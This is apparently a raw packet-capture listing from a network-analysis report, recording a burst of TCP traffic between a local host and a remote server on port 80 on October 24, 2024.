Oct 24, 2024 04:01:43.782824039 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.782838106 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.783335924 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.783335924 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.783476114 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.783487082 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.783499956 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.783512115 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.783524036 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.783535957 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.783548117 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.783560991 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.783572912 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.783582926 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.783582926 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.783582926 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.783582926 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.783585072 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784164906 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784176111 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784189939 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784202099 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784213066 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784224987 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784236908 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784244061 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.784244061 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.784244061 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.784244061 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.784249067 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784262896 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784274101 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784285069 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784653902 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.784653902 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.784653902 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.784785986 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784799099 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784810066 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784821987 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.784835100 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.785698891 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.785698891 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.833080053 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.855864048 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.855891943 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.855905056 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856014013 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856014967 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.856060982 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856072903 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856108904 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.856141090 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856153965 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856194973 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.856194973 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.856241941 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856252909 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856303930 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.856337070 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856354952 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856493950 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856504917 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856515884 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856549978 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.856699944 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856710911 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856720924 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856733084 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856766939 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.856766939 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.856904030 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856915951 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.856940031 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.857036114 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.857048988 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.857063055 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.857095957 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.857111931 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.897241116 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897280931 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897291899 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897417068 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.897423983 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897435904 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897481918 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.897567034 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897578001 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897583008 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897641897 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.897650957 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897718906 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897728920 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897738934 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897744894 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897778034 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.897855043 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897897005 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.897914886 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897927999 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897938967 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897950888 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.897964001 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.897989035 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.898175955 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898189068 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898199081 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898211002 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898224115 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898242950 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.898242950 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.898464918 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898475885 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898487091 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898508072 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.898551941 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.898610115 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898619890 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898629904 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898641109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898653984 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898665905 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898670912 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.898679972 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.898710012 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.898885012 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898962975 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898977041 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898987055 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.898998976 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899009943 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899023056 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899040937 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.899040937 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.899327993 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899338961 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899349928 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899372101 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.899426937 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.899607897 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899620056 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899630070 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899645090 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899657011 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899667978 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899673939 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899683952 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899696112 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899701118 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.899701118 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.899708033 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899717093 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.899720907 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.899765015 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.900341988 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900353909 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900363922 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900373936 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900379896 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900382996 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.900392056 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900403976 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900415897 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900425911 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900438070 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900444031 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.900444031 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.900449038 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900460958 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900463104 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.900473118 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900485039 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900496006 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900506973 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.900515079 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.900515079 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.900561094 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.901278019 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901290894 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901300907 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901312113 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901323080 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901328087 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.901335001 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901348114 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901356936 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.901360035 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901375055 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901377916 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.901387930 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901401043 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901406050 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.901406050 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.901412010 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901443958 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.901941061 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901953936 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901964903 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901976109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901985884 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.901998043 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.902002096 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.902009964 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.902015924 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.902077913 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.902077913 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.972820997 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.972841978 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.972853899 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.972944975 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973001003 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973011971 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973103046 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973119974 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973229885 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973241091 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973252058 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973391056 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973402023 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973491907 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973503113 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973514080 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973643064 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973661900 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973673105 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973685980 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973896980 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973911047 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973988056 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.973998070 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.974008083 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.974019051 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:43.979408979 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979408979 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979408979 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979408979 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979408979 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979408979 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979408979 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979408979 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979449987 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979449987 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979449987 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979449987 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:43.979449987 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.014111042 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014125109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014185905 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014198065 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014203072 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.014317989 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014329910 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.014329910 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014355898 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014369011 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.014450073 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014461994 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014538050 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014550924 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014575958 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.014575958 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.014636993 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014672995 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014687061 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014697075 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014724016 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.014755011 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.014811993 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014833927 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014847994 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.014914989 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.014914989 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.014981031 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015034914 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015045881 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015100002 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015182972 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015194893 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015232086 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.015233040 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.015233040 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.015254974 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015268087 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015369892 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015404940 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015414953 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015460014 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.015460014 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.015467882 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015543938 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015556097 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015567064 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015590906 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.015590906 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.015646935 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015739918 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015752077 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015847921 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015858889 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.015858889 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.015860081 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015872955 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015885115 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.015901089 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.015927076 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.016052961 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016064882 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016077995 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016089916 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016231060 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016242981 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016254902 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016283035 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.016283035 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.016283035 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.016367912 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016380072 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016391993 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016406059 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016427040 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.016449928 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.016612053 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016623974 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016634941 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016645908 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016657114 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016668081 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016670942 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.016675949 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016690016 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:44.016690969 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.016699076 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:44.016701937 CEST	80	49837	185.215.113.16	192.168.2.7
